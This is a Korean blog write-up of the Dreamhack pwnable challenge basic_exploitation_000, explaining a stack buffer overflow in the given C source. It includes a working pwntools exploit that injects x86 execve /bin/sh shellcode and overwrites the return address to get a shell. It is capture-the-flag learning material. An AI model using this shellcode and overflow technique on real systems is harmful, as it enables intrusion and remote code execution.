또 뭐하지
[Dreamhack] basic_exploitation_000 본문
728x90
풀이
주어진 바이너리를 실행시켜 보면 어떤 값이 나오고 입력을 받는다. 소스코드를 확인해보자.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
코드의 main함수를 살펴보면 프린트된 값이 bufer의 주소값인 것을 확인할 수 있다. 이때 주의 깊게 살펴야 되는 부분이 buf 크기가 0x80(128)으로 지정되어 있는데 scanf를 통해서 입력받는 buf의 크기는 141까지 가능하다. 이 부분을 buffer overflow를 발생시킨다.
우리는 shell을 얻어서 flag를 확인해야한다. 이전의 쉘코드 강의에서 나왔던 execve 셸코드를 실행시킬 수 있으면 shell을 얻을 수 있을 것 같다.
buf에 셸코드를 입력하고 return address를 buf 주소로 조작한다면 셸코드 실행이 가능할 것 같다.
<스택프레임>
위 내용으로 익스플로잇 코드를 작성해보았다.
from pwn import *
p = remote('host3.dreamhack.games', 19436)
p.recvuntil("buf = (")
buf_addr = int(p.recv(10),16)
payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b"A" * 106
payload += p32(buf_addr)
p.sendline(payload)
p.interactive()
총 132byte를 채워야하는데, 쉘코드가 26byte이기 때문에 나머지는 A로 채웠다. 그리고 먼저 저장해둔 버퍼 주소를 little endian으로 변환시켜 붙여 payload를 완성했다.
코드를 실행시키면 shell을 얻을 수 있고 flag를 읽을 수 있다.
'Write-up > Pwnable' 카테고리의 다른 글
[Dreamhack] ssp_001 (0) | 2024.05.24 |
---|---|
[Dreamhack] Return to Shellcode (0) | 2024.05.22 |
[Dreamhack] basic_exploitation_001 (0) | 2024.05.20 |
[Dreamhack] Return Address Overwrite (0) | 2024.05.20 |
[Dreamhack] shell_basic (0) | 2024.05.11 |